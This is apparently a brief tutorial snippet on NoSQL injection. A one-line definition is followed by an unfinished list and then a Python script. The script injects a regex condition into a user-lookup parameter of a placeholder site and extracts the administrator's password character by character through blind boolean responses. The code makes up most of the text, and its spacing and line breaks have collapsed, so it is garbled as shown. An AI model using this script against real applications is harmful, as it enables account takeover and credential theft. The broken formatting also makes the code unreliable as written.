NoSQL injection is a vulnerability where an attacker is able to interfere with the queries that an application makes to a NoSQL database. NoSQL injection may enable an attacker to:
import requests# Base URL for the targetbase_url ="https://tareget.com/user/lookup"# Session cookie (modify this with your actual session cookie)cookies ={'session':'COOKIE_HERE',}# Characters to test (extend this as needed)characters ="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"# Starting point for the passwordpassword =""# Function to test a given prefixdeftest_prefix(prefix): injection =f"?user=administrator'+%26%26+this.password+%26%26+this.password.match(/^{prefix}.*$/)%00" params ={'user': injection} inject = base_url + injection response = requests.get(inject, cookies=cookies)return"administrator"in response.text# Iteratively build the passwordwhileTrue: found_char =Falsefor char in characters: test_pass = password + chariftest_prefix(test_pass): password += charprint(f"Found character: {char} -> Current password: {password}") found_char =Truebreakifnot found_char:print("Password extraction complete!")breakprint(f"The password is: {password}")